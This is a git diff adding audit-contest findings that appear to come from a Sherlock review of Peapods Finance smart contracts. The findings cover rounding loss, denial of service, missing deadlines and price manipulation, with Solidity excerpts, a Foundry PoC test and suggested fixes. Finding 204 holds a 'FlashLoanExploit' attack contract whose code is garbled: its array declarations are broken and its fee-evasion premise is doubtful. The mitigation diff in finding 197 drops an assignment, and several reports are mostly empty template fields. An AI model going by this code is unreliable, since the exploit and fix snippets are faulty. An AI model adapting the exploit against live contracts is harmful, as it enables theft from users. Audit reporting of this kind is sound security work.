+ if (stakeUserRestriction != address(0)) {
+ require(_msgSender() == stakeUserRestriction, "U");
+ }
+ _mint(_msgSender(), _amount);
+ IERC20(stakingToken).safeTransferFrom(_msgSender(), address(this), _amount);
+ emit Stake(_msgSender(), _msgSender(), _amount);
+}
\ No newline at end of file
diff --git a/195.md b/195.md
new file mode 100644
index 0000000..4aee053
--- /dev/null
+++ b/195.md
@@ -0,0 +1,72 @@
+Joyous Midnight Goat
+
+Medium
+
+# Reward Calculation Rounding Issues
+
+### Summary
+
+Rounding Errors in _rewardsPerShare
+
+_rewardsPerShare[_token] += (PRECISION * _depositAmount) / totalShares;
+If totalShares is small, division rounding errors can accumulate and cause unintended losses.
+
+ function _depositRewards(address _token, uint256 _amountTotal) internal {
+ if (_amountTotal == 0) {
+ return;
+ }
+ if (!_depositedRewardsToken[_token]) {
+ _depositedRewardsToken[_token] = true;
+ _allRewardsTokens.push(_token);
+ }
+ if (totalShares == 0) {
+ require(_token == rewardsToken, "R");
+ _burnRewards(_amountTotal);
+ return;
+ }
+
+ uint256 _depositAmount = _amountTotal;
+ if (_token == rewardsToken) {
+ (, uint256 _yieldBurnFee) = _getYieldFees();
+ if (_yieldBurnFee > 0) {
+ uint256 _burnAmount = (_amountTotal * _yieldBurnFee) / PROTOCOL_FEE_ROUTER.protocolFees().DEN();
+ if (_burnAmount > 0) {
+ _burnRewards(_burnAmount);
+ _depositAmount -= _burnAmount;
+ }
+ }
+ }
+ rewardsDeposited[_token] += _depositAmount;
+ _rewardsPerShare[_token] += (PRECISION * _depositAmount) / totalShares;
+ emit DepositRewards(_msgSender(), _token, _depositAmount);
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L232
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider Fixed-Point Arithmetic Libraries (like PRBMath).
+
+send the remaining _rewardsPerShare to te user.
\ No newline at end of file
diff --git a/196.md b/196.md
new file mode 100644
index 0000000..92845b3
--- /dev/null
+++ b/196.md
@@ -0,0 +1,45 @@
+Joyous Midnight Goat
+
+Medium
+
+# No Initial lockedTime Set (Immediate Unlock)
+
+### Summary
+
+lockedTime is initialized to zero, allowing the owner to immediately unlock LP tokens.
+The function unlock(uint256 _lpId) checks:
+
+require(block.timestamp > CREATED + lockedTime);
+If lockedTime == 0, the owner can instantly unlock LP tokens.
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/V3Locker.sol#L33
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+constructor(uint256 _initialLockTime) Ownable(_msgSender()) {
+ CREATED = block.timestamp;
+ lockedTime = _initialLockTime;
+ V3_POS_MGR = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
+}
\ No newline at end of file
diff --git a/197.md b/197.md
new file mode 100644
index 0000000..f1ee5b5
--- /dev/null
+++ b/197.md
@@ -0,0 +1,154 @@
+Nutty Steel Sealion
+
+High
+
+# Pods DoS if no protocol fees are set
+
+### Summary
+
+If the protocol renounces fees, it causes `TokenRewards::depositFromPairedLpToken` to revert for Pods with the `LEAVE_AS_PAIRED_LP_TOKEN` option enabled. The `depositFromPairedLpToken` function is triggered during the Pod swap fee process, affecting nearly all essential operations such as debonding, transfers, and providing liquidity.
+
+### Root Cause
+
+In [`TokenRewards.sol:286`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L286), we see that there may be no protocol fees, which is why the `_getYieldFees` function first checks `protocolFees` for the zero address before retrieving the fee values. In addition to admin and burn fee values, [`ProtocolFees.sol:8`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ProtocolFees.sol#L8) has the `DEN` view function representing fee precision. In most cases, a call to this function is made after ensuring the fee amount it not zero, indicating that `protocolFees` is properly set.
+
+```solidity
+function _getAdminFeeFromAmount(uint256 _amount) internal view returns (uint256) {
+ (uint256 _yieldAdminFee,) = _getYieldFees();
+ if (_yieldAdminFee == 0) {
+ return 0;
+ }
+ return (_amount * _yieldAdminFee) / PROTOCOL_FEE_ROUTER.protocolFees().DEN();
+}
+```
+However, when the `LEAVE_AS_PAIRED_LP_TOKEN` option is enabled, the check is [missing](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L154), and the function directly calls `PROTOCOL_FEE_ROUTER.protocolFees().DEN()` without ensuring that the `protocolFees` is set.
+
+```solidity
+if (LEAVE_AS_PAIRED_LP_TOKEN) {
+ (, uint256 _yieldBurnFee) = _getYieldFees();
+ uint256 _burnAmount = (_amountTkn * _yieldBurnFee) / PROTOCOL_FEE_ROUTER.protocolFees().DEN();
+ ...
+}
+```
+
+If the protocol renounces fees and sets the `protocolFee` address to `address(0)`, this call will revert.
+
+
+### Internal Pre-conditions
+
+- Protocol fees are not set.
+- The `LEAVE_AS_PAIRED_LP_TOKEN` option is enabled.
+
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. A Pod with the `LEAVE_AS_PAIRED_LP_TOKEN` option is created.
+2. Users bond their funds.
+3. The protocol decides to renounce fees, sets the `protocolFee` address to `0`, and renounces ownership of the `ProtocolFeeRouter` contract.
+4. The Pod experiences a DoS, and users are unable to debond their funds.
+
+### Impact
+
+This issue causes a DoS for all Pods with the `LEAVE_AS_PAIRED_LP_TOKEN` option enabled. If fee renouncement is accompanied by the renouncement of ownership of the `ProtocolFeeRouter` contract, the funds become irrecoverable, resulting in users losing their funds.
+
+### PoC
+
+1. Add imports to `WeightedIndex.t.sol`:
+
+```solidity
+import {ProtocolFeeRouter} from "../contracts/ProtocolFeeRouter.sol";
+import {IProtocolFees} from "../contracts/interfaces/IProtocolFees.sol";
+```
+
+2. Add a test to `WeightedIndex.t.sol`:
+
+```solidity
+function test_ProtocolFeeRenouncement() public {
+ address protocolFeeRouter = 0x7d544DD34ABbE24C8832db27820Ff53C151e949b;
+
+ bytes memory immutables = abi.encode(
+ dai,
+ address(peas),
+ 0x6B175474E89094C44Da98b954EedeAC495271d0F,
+ protocolFeeRouter,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ );
+
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = fee;
+ _f.debond = fee;
+ address[] memory _t = new address[](1);
+ _t[0] = address(peas);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+ address _pod = _createPod(
+ "Test",
+ "pTEST",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ true,
+ immutables
+ );
+ pod = WeightedIndex(payable(_pod));
+
+ vm.startPrank(alice);
+ peas.approve(address(pod), type(uint256).max);
+ pod.bond(address(peas), bondAmt, 0);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ peas.approve(address(pod), type(uint256).max);
+ pod.bond(address(peas), bondAmt, 0);
+ vm.stopPrank();
+
+ uint256 podTokensToAdd = 1e18;
+ uint256 pairedTokensToAdd = 1e18;
+ uint256 slippage = 50;
+
+ deal(pod.PAIRED_LP_TOKEN(), alice, pairedTokensToAdd);
+ vm.startPrank(alice);
+ IERC20(pod.PAIRED_LP_TOKEN()).approve(address(pod), pairedTokensToAdd);
+ uint256 lpTokensReceived = pod.addLiquidityV2(podTokensToAdd, pairedTokensToAdd, slippage, block.timestamp);
+
+ address protocolFeeRouterOwner = ProtocolFeeRouter(protocolFeeRouter).owner();
+
+ vm.startPrank(protocolFeeRouterOwner);
+ ProtocolFeeRouter(protocolFeeRouter).setProtocolFees(IProtocolFees(address(0)));
+ ProtocolFeeRouter(protocolFeeRouter).renounceOwnership();
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ address[] memory _n1;
+ uint8[] memory _n2;
+ vm.expectRevert(bytes(""));
+ pod.debond(bondAmtAfterFee, _n1, _n2);
+ vm.stopPrank();
+}
+```
+
+3. Run the test.
+
+### Mitigation
+
+```diff
+ if (LEAVE_AS_PAIRED_LP_TOKEN) {
+ (, uint256 _yieldBurnFee) = _getYieldFees();
+- uint256 _burnAmount = (_amountTkn * _yieldBurnFee) / PROTOCOL_FEE_ROUTER.protocolFees().DEN();
++ uint256 _burnAmount = 0;
++ if (_yieldBurnFee > 0) {
++ (_amountTkn * _yieldBurnFee) / PROTOCOL_FEE_ROUTER.protocolFees().DEN();
++ }
+ _adminAmt += _burnAmount;
+ _amountTkn -= _burnAmount;
+ if (_adminAmt > 0) {
+```
\ No newline at end of file
diff --git a/198.md b/198.md
new file mode 100644
index 0000000..a27fec8
--- /dev/null
+++ b/198.md
@@ -0,0 +1,149 @@
+Acidic Marmalade Robin
+
+Medium
+
+# Potential DoS of AutoCompoundingPodLp if Fraxlend Pair exceeds deposit limit
+
+### Summary
+
+In the `AutoCompoundingPodLp.sol` contract, the [deposit()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L124), [mint()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L148), [withdraw()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L162) and [redeem()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L176) functions call [_processRewardsToPodLp()]() in which all reward tokens are processed in the loop. And if `IS_PAIRED_LENDING_PAIR=true` then `PAIRED_LP_TOKEN` is deposited to Fraxlend pair, but contract does not check if `PAIRED_LP_TOKEN` deposit will violate the deposit limit, if it will then all functions will revert, leading to DoS of the contract.
+
+### Root Cause
+
+In the `AutoCompoundingPodLp.sol` contract, the `deposit()`, `mint()`, `withdraw()` and `redeem()` functions call `_processRewardsToPodLp()`:
+
+```solidity
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ ...
+}
+function mint(uint256 _shares, address _receiver) external override returns (uint256 _assets) {
+ _processRewardsToPodLp(0, block.timestamp);
+ ...
+}
+function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ ...
+}
+function redeem(uint256 _shares, address _receiver, address _owner) external override returns (uint256 _assets) {
+ _processRewardsToPodLp(0, block.timestamp);
+ ...
+}
+
+function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ ...
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ ...
+ uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ ...
+}
+
+function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+{
+ uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ ...
+}
+```
+Then in `_tokenToPairedLpToken()` if `IS_PAIRED_LENDING_PAIR=true` `PAIRED_LP_TOKEN` is deposited to Fraxlend pair:
+
+```solidity
+function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ ...
+ address _rewardsToken = pod.lpRewardsToken();
+ if (_token != _rewardsToken) {
+ _amountOut = _swap(_token, _swapOutputTkn, _amountIn, 0);
+ if (IS_PAIRED_LENDING_PAIR) {
+ //@audit deposit to fraxlend
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ return _amountOut;
+ }
+ ...
+ //@audit in all other cases try-catch block is used to swap, so function will not revert
+ try DEX_ADAPTER.swapV3Single(
+ _rewardsToken,
+ _swapOutputTkn,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ 0, // _amountOutMin can be 0 because this is nested inside of function with LP slippage provided
+ address(this)
+ ) returns (uint256 __amountOut) {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] = 0;
+ _amountOut = __amountOut;
+
+ // if this is a self-lending pod, convert the received borrow token
+ // into fTKN shares and use as the output since it's the pod paired LP token
+ if (IS_PAIRED_LENDING_PAIR) {
+ //@audit deposit to fraxlend
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ } catch {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] =
+ _amountIn / 2 < _minSwap ? _minSwap : _amountIn / 2;
+ IERC20(_rewardsToken).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit TokenToPairedLpSwapError(_rewardsToken, _swapOutputTkn, _amountIn);
+ }
+}
+
+function _depositIntoLendingPair(address _lendingPair, address _pairAsset, uint256 _depositAmt)
+ internal
+ returns (uint256 _shares)
+{
+ IERC20(_pairAsset).safeIncreaseAllowance(address(_lendingPair), _depositAmt);
+ _shares = IFraxlendPair(_lendingPair).deposit(_depositAmt, address(this));
+}
+```
+
+If it's not `IS_PAIRED_LENDING_PAIR` then contract is using try-catch block to swap, but in this case function will just revert leading to DoS.
+
+[FraxlendPairCore.sol:deposit()](https://github.com/FraxFinance/fraxlend/blob/f1eae68d5a4a5877d379d61654a16e42d6591fe5/src/contracts/FraxlendPairCore.sol#L581C9-L581C87):
+```solidity
+function deposit(uint256 _amount, address _receiver) external nonReentrant returns (uint256 _sharesReceived) {
+ if (_receiver == address(0)) revert InvalidReceiver();
+
+ // Accrue interest if necessary
+ _addInterest();
+
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Check if this deposit will violate the deposit limit
+ if (depositLimit < _totalAsset.amount + _amount) revert ExceedsDepositLimit();
+
+ // Calculate the number of fTokens to mint
+ _sharesReceived = _totalAsset.toShares(_amount, false);
+
+ // Execute the deposit effects
+ _deposit(_totalAsset, _amount.toUint128(), _sharesReceived.toUint128(), _receiver);
+}
+```
+
+### Internal Pre-conditions
+
+1. `IS_PAIRED_LENDING_PAIR = true`
+
+### External Pre-conditions
+
+1. Fraxlend pair reached deposit limit
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+ DoS of `AutoCompoundingPodLp` if Fraxlend Pair exceeds deposit limit, impossible to deposit and withdraw tokens.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider wrapping `_depositIntoLendingPair()` in a try-catch block to handle potential revert.
\ No newline at end of file
diff --git a/199.md b/199.md
new file mode 100644
index 0000000..0a28309
--- /dev/null
+++ b/199.md
@@ -0,0 +1,52 @@
+Joyous Midnight Goat
+
+Medium
+
+# loss of _protocolFees in _tokenToPodLp
+
+### Summary
+
+ Here in the _tokenToPodLp, we are calculating the _protocolFees but ,we are doing the rounding down this will cause the loss of fees.
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+ uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ @>> uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L239
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+keep the _protocolFees rounding up.
\ No newline at end of file
diff --git a/200.md b/200.md
new file mode 100644
index 0000000..45fb1e4
--- /dev/null
+++ b/200.md
@@ -0,0 +1,60 @@
+Joyous Midnight Goat
+
+Medium
+
+# Precision Loss and Rounding
+
+### Summary
+
+
+here in the _bond we are calculating _feeTokens and we are doing the rounding down which will cause a issue in _feeTokens.
+
+ function _bond(address _token, uint256 _amount, uint256 _amountMintMin, address _user) internal {
+ require(_isTokenInIndex[_token], "IT");
+ uint256 _tokenIdx = _fundTokenIdx[_token];
+
+ bool _firstIn = _isFirstIn();
+ uint256 _tokenAmtSupplyRatioX96 =
+ _firstIn ? FixedPoint96.Q96 : (_amount * FixedPoint96.Q96) / _totalAssets[_token];
+ uint256 _tokensMinted;
+ if (_firstIn) {
+ _tokensMinted = (_amount * FixedPoint96.Q96 * 10 ** decimals()) / indexTokens[_tokenIdx].q1;
+ } else {
+ _tokensMinted = (_totalSupply * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
+ }
+ @>> uint256 _feeTokens = _canWrapFeeFree(_user) ? 0 : (_tokensMinted * _fees.bond) / DEN;
+ require(_tokensMinted - _feeTokens >= _amountMintMin, "M");
+ _totalSupply += _tokensMinted;
+ @>> _mint(_user, _tokensMinted - _feeTokens);
+ if (_feeTokens > 0) {
+ _mint(address(this), _feeTokens);
+ _processBurnFee(_feeTokens);
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L152
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+keep the _feeTokens rounding up.
\ No newline at end of file
diff --git a/201.md b/201.md
new file mode 100644
index 0000000..0d9dcbc
--- /dev/null
+++ b/201.md
@@ -0,0 +1,56 @@
+Nutty Steel Sealion
+
+High
+
+# Pods DoS if V3TwapUtilities owner renounces ownership
+
+### Summary
+
+If the owner of `V3TwapUtilities` renounces ownership, it causes `TokenRewards` to revert during the processing of the admin fee. This results in a DoS for Pods, disrupting reward distribution and affecting nearly all essential operations, including debonding, transfers, and providing liquidity.
+
+### Root Cause
+
+ The `TokenRewards::_processAdminFee` function does not check that the receiver is not the zero address.
+```solidity
+function _processAdminFee(uint256 _amount) internal {
+ IERC20(PAIRED_LP_TOKEN).safeTransfer(OwnableUpgradeable(address(V3_TWAP_UTILS)).owner(), _amount);
+}
+```
+
+Some ERC20 implementations (including PEAS and Pods) revert if a transfer is made to the zero address, and the `SafeERC20` library does not protect against this.
+
+`V3TwapUtilities` uses OpenZeppelin’s `Ownable` implementation, which includes a `renounceOwnership` function.
+
+As a result, if the `V3TwapUtilities` owner is not set, the transaction will revert.
+
+### Internal Pre-conditions
+
+- The `V3TwapUtilities` owner is set to the zero address.
+- The rewards token implementation reverts on transfers to the zero address.
+
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+The owner of `V3TwapUtilities` renounces ownership.
+
+### Impact
+
+This issue causes a DoS for all Pods that use reward token implementations which revert on transfers to the zero address. Even if there’s no intention to renounce ownership at the moment, it introduces a significant centralization risk (especially for the protocol that claims to be decentralized and permissionless by design), turning the `V3TwapUtilities` contract owner into a single point of failure that could bring down a large portion of Pods.
+
+### PoC
+
+OpenZeppelin’s ERC20 implementation reverts on transfers to the zero address:
+
+https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L170-L172
+
+An example of a Pod that uses the PEAS token (which utilizes OpenZeppelin ERC20) as a reward token:
+
+https://basescan.org/token/0x2c8d2fc58b80acb3b307c165af8f3ee296e6a271
+
+### Mitigation
+
+Remove the ability to renounce ownership of `V3TwapUtilities` or verify that the owner is set before transferring fees.
\ No newline at end of file
diff --git a/202.md b/202.md
new file mode 100644
index 0000000..1c837e1
--- /dev/null
+++ b/202.md
@@ -0,0 +1,114 @@
+Joyous Midnight Goat
+
+Medium
+
+# No Deadline Checks in Most Swap Functions
+
+### Summary
+
+ Only _swapV3Multi uses a deadline (set to current block timestamp)
+Other swap functions lack transaction deadline checks
+
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+ _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+
+ function _swapV3Multi(
+ address _in,
+ uint24 _fee1,
+ address _in2,
+ uint24 _fee2,
+ address _out,
+ uint256 _amountIn,
+ uint256 _amountOutMin
+ ) internal returns (uint256) {
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ IERC20(_in).safeIncreaseAllowance(V3_ROUTER, _amountIn);
+ bytes memory _path = abi.encodePacked(_in, _fee1, _in2, _fee2, _out);
+ ISwapRouter(V3_ROUTER).exactInput(
+ @>> ISwapRouter.ExactInputParams({
+ path: _path,
+ recipient: address(this),
+ deadline: block.timestamp,
+ amountIn: _amountIn,
+ amountOutMinimum: _amountOutMin
+ })
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+
+ function _swapV2(address[] memory _path, uint256 _amountIn, uint256 _amountOutMin) internal returns (uint256) {
+ bool _twoHops = _path.length == 3;
+ address _out = _twoHops ? _path[2] : _path[1];
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ IERC20(_path[0]).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));
+ if (_twoHops) {
+ uint256 _intermediateBal = IERC20(_path[1]).balanceOf(address(this));
+ IERC20(_path[1]).safeIncreaseAllowance(address(DEX_ADAPTER), _intermediateBal);
+ DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, _amountOutMin, address(this));
+ }
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+
+ function _swapCurve(address _pool, int128 _i, int128 _j, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ IERC20(ICurvePool(_pool).coins(uint128(_i))).safeIncreaseAllowance(_pool, _amountIn);
+ return ICurvePool(_pool).exchange(_i, _j, _amountIn, _amountOutMin, address(this));
+ }
+
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L154
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Risk: Transactions can be delayed and executed at unfavorable prices
+Fix: Add deadline parameters and checks to all swap functions
\ No newline at end of file
diff --git a/203.md b/203.md
new file mode 100644
index 0000000..c54de15
--- /dev/null
+++ b/203.md
@@ -0,0 +1,49 @@
+Joyous Midnight Goat
+
+Medium
+
+# Price Oracle Manipulation Risk solidity
+
+### Summary
+
+When _amountOutMin is 0, contract relies on current pool price
+Vulnerable to flash loan attacks and price manipulation
+
+
+if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 = V3_TWAP_UTILS.priceX96FromSqrtPriceX96(
+ V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool)
+ );
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L167
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Always require explicit minimum output amount
\ No newline at end of file
diff --git a/204.md b/204.md
new file mode 100644
index 0000000..71f8b00
--- /dev/null
+++ b/204.md
@@ -0,0 +1,158 @@
+Stale Porcelain Kestrel
+
+Medium
+
+# Missing fee validation allows Flash Loan exploit
+
+### **Summary**
+The missing validation check in `BalancerFlashSource.sol:receiveFlashLoan()` will cause financial losses for the protocol as an attacker will manipulate `_feeAmounts[0]`, allowing them to take flash loans without paying the required fee.
+
+---
+
+### **Root Cause**
+In [`BalancerFlashSource.sol:receiveFlashLoan()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/flash/BalancerFlashSource.sol#L47C4-L57C6), the function assigns `_feeAmounts[0]` directly to `_fData.fee` **without verifying if the contract actually received the required fee**.
+- **Vulnerable Code:**
+ ```solidity
+ _fData.fee = _feeAmounts[0];
+ ```
+- The contract assumes `_feeAmounts[0]` is correct but does not verify the actual balance changes.
+
+---
+
+### **Internal Pre-conditions**
+1. **Attacker controls `_userData`** and can modify input parameters.
+2. **The contract relies on `_feeAmounts[0]` as a trusted value** but does not validate it.
+3. **No validation exists to check the contract’s balance before and after the transaction.**
+
+---
+
+### **Attack Path**
+1. **Attacker calls `flashLoan()`** with a manipulated `_userData`, setting `_feeAmounts[0]` to `0`.
+2. The contract **accepts `_feeAmounts[0]` without verification** and assigns it to `_fData.fee`.
+3. The attacker **receives the flash loan but avoids paying the required fee**.
+4. The attacker **repeats the attack multiple times**, extracting funds and depleting protocol revenue.
+
+---
+
+### **Impact**
+- **Affected Party:** The protocol and liquidity providers.
+- **Loss Type:** Financial loss due to **fee evasion**.
+- **Protocol Revenue Loss:** The flash loan system relies on collecting fees, and fee evasion directly reduces sustainability.
+ - **Potential Insolvency Risk:** If exploited repeatedly, the protocol may become unprofitable and fail to cover operational costs.
+ - **Flash Loan Abuse:** Attackers can borrow flash loans at zero cost, leading to potential market manipulation and arbitrage abuse.
+ - **Reputational Damage:** If publicly exploited, users may lose trust in the protocol’s security and reliability.
+
+---
+
+### **PoC (Proof of Concept)**
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.28;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+
+interface IBalancerVault {
+ function flashLoan(
+ address recipient,
+ IERC20[] memory tokens,
+ uint256[] memory amounts,
+ bytes memory userData
+ ) external;
+}
+
+interface IFlashLoanRecipient {
+ function callback(bytes calldata _userData) external;
+}
+
+contract FlashLoanExploit is IFlashLoanRecipient {
+ using SafeERC20 for IERC20;
+
+ IBalancerVault public flashLoanSource;
+ IERC20 public targetToken;
+ address public attacker;
+
+ struct FlashData {
+ address recipient;
+ address token;
+ uint256 amount;
+ bytes userData;
+ uint256 fee;
+ }
+
+ constructor(address _flashLoanSource, address _token) {
+ flashLoanSource = IBalancerVault(_flashLoanSource);
+ targetToken = IERC20(_token);
+ attacker = msg.sender;
+ }
+
+ function executeAttack(uint256 _loanAmount) external {
+ require(msg.sender == attacker, "Not authorized");
+
+ // Malicious payload to bypass fee validation
+ FlashData memory fData = FlashData(address(this), address(targetToken), _loanAmount, "", 0);
+ bytes memory maliciousData = abi.encode(fData);
+
+ IERC20;
+ tokens[0] = targetToken;
+
+ uint256;
+ amounts[0] = _loanAmount;
+
+ // Requesting a flash loan with manipulated fee
+ flashLoanSource.flashLoan(address(this), tokens, amounts, maliciousData);
+ }
+
+ function callback(bytes calldata _userData) external override {
+ FlashData memory fData = abi.decode(_userData, (FlashData));
+
+ // Manipulate fee amount to 0
+ uint256 fakeFee = 0;
+
+ // Transfer loan amount to attacker
+ IERC20(fData.token).safeTransfer(attacker, fData.amount);
+
+ // Repay loan with manipulated fee (zero)
+ IERC20(fData.token).safeTransfer(msg.sender, fData.amount + fakeFee);
+ }
+}
+```
+
+1. **Executing the Attack:**
+ - The attacker calls `executeAttack()` with a desired loan amount.
+ - A flash loan request is sent with manipulated data (`fee = 0`).
+2. **Loan Transfer Without Fee Validation:**
+ - The protocol processes the flash loan and transfers the loan amount.
+ - The value of `_feeAmounts[0]` is accepted without verification, and `fee = 0` is stored.
+3. **Fee Manipulation in `callback()`:**
+ - The flash loan contract executes the `callback()` function on the recipient.
+ - The attacker sets `fee` to zero, deceiving the system.
+4. **Receiving the Loan at No Cost:**
+ - The attacker transfers the loan amount to their own account.
+ - The initial loan amount is repaid to the contract without any fee.
+5. **Repeating the Attack & Financial Losses:**
+ - The attacker repeats this process multiple times, taking free loans.
